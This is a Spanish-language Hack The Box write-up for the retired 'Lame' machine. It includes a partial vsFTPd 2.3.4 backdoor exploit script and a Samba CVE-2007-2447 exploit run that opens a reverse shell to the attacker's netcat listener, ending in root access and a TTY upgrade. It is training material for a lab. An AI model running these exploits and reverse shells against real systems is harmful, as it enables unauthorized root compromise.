A partir del día de hoy empezaré a realizar un write up de forma periódica de las máquinas retiradas de Hack the Box, es el turno de Lame, una máquina easy donde ganaremos acceso al sistema con permisos root explotando una vulnerabilidad de samba CVE-2007-2447.
Reconocimiento
Reconocimiento De Puertos
Lo primero será ver que puertos están abiertos en la máquina objetivo, para ello utilizaremos la herramienta Nmap
Podemos observar que tenemos acceso por ftp con las credenciales anonymous:anonymous, vamos a ver que encontramos.
1 2 3 4 5 6 7 8 9 10 11 12 13
ftp 10.10.10.3 Connected to 10.10.10.3. 220 (vsFTPd 2.3.4) Name (10.10.10.3:void4m0n): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> dir 229 Entering Extended Passive Mode (|||21114|). 150 Here comes the directory listing. 226 Directory send OK.
No hemos encontrado nada de valor, sabiendo que el ftp tiene como versión vsFTPd 2.3.4 podemos ver si existe alguna vulnerabilidad.
from telnetlib import Telnet import argparse from signal import signal, SIGINT from sys import exit
defhandler(signal_received, frame): # Handle Any Cleanup Here print(' [+]Exiting...') exit(0)
signal(SIGINT, handler) parser=argparse.ArgumentParser() parser.add_argument("host", help="input the address of the vulnerable host", type=str) args = parser.parse_args() host = args.host portFTP = 21#if necessary edit this line
user="USER nergal:)" password="PASS pass"
tn=Telnet(host, portFTP) tn.read_until(b"(vsFTPd 2.3.4)") #if necessary, edit this line tn.write(user.encode('ascii') + b"\n") tn.read_until(b"password.") #if necessary, edit this line tn.write(password.encode('ascii') + b"\n")
Lanzamos el script de la siguiente forma python3 49757.py 10.10.10.3, pero no conseguimos entablar el backdoor. Tendremos que encontrar otro posible vector de ataque.
Samba
Si vemos la versión de samba que nos mostraba nmap tenemos lo siguiente 445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP), buscamos una vulnerabilidad para esta versión de samba.
Parece ser vulnerable. Si hacemos una pequeña labor de investigación descubrimos que el CVE correspondiente es CVE-2007-2447 tenemos un informe del Incibe acerca de esta vulnerabilidad, por si le queréis echar un vistazo, como no queremos tirar de Metasploit vamos a buscar un script que abuse de esta vulnerabilidad en Github.
Tenemos este repositorio de Github donde gracias a un script en python se puede conseguir entablar una reverse shell. El autor explica la vulnerabilidad en su Blog.
python3 usermap_script.py 10.10.10.344510.10.16.31234 [*] CVE-2007-2447 - Samba usermap script [+] Connecting ! [+] Payload was sent - check netcat !
Como el propio script nos dice vamos a ver si hemos conseguido entablar la reverse shell.
1 2 3 4 5
nc -lvnp 1234 listening on [any] 1234 ... connect to [10.10.16.3] from (UNKNOWN) [10.10.10.3] 58132 whoami root
Tty Spawn
¡Perfecto! Somos usuario root, ya podríamos obtener user.txt | root.txt, pero como de costumbre vamos a spawnear una TTY totalmente interactiva para trabajar con mayor comodidad.
1 2 3 4 5 6 7
script /dev/null -c bash root@lame:/# ^Z [1] + 6995 suspended nc -lvnp 1234 ❯ stty raw -echo; fg [1] + 6995 continued nc -lvnp 1234 *************************En este momento debemos poner [reset xterm] no se nos mostrará ningún texto en pantalla, presionamos enter root@lame:/#
Ahora ya podemos trabajar de una forma adecuada con ^C, historial, flechas de movimiento, etc…
Flags
Extraemos las flags de sus respectivos directorios.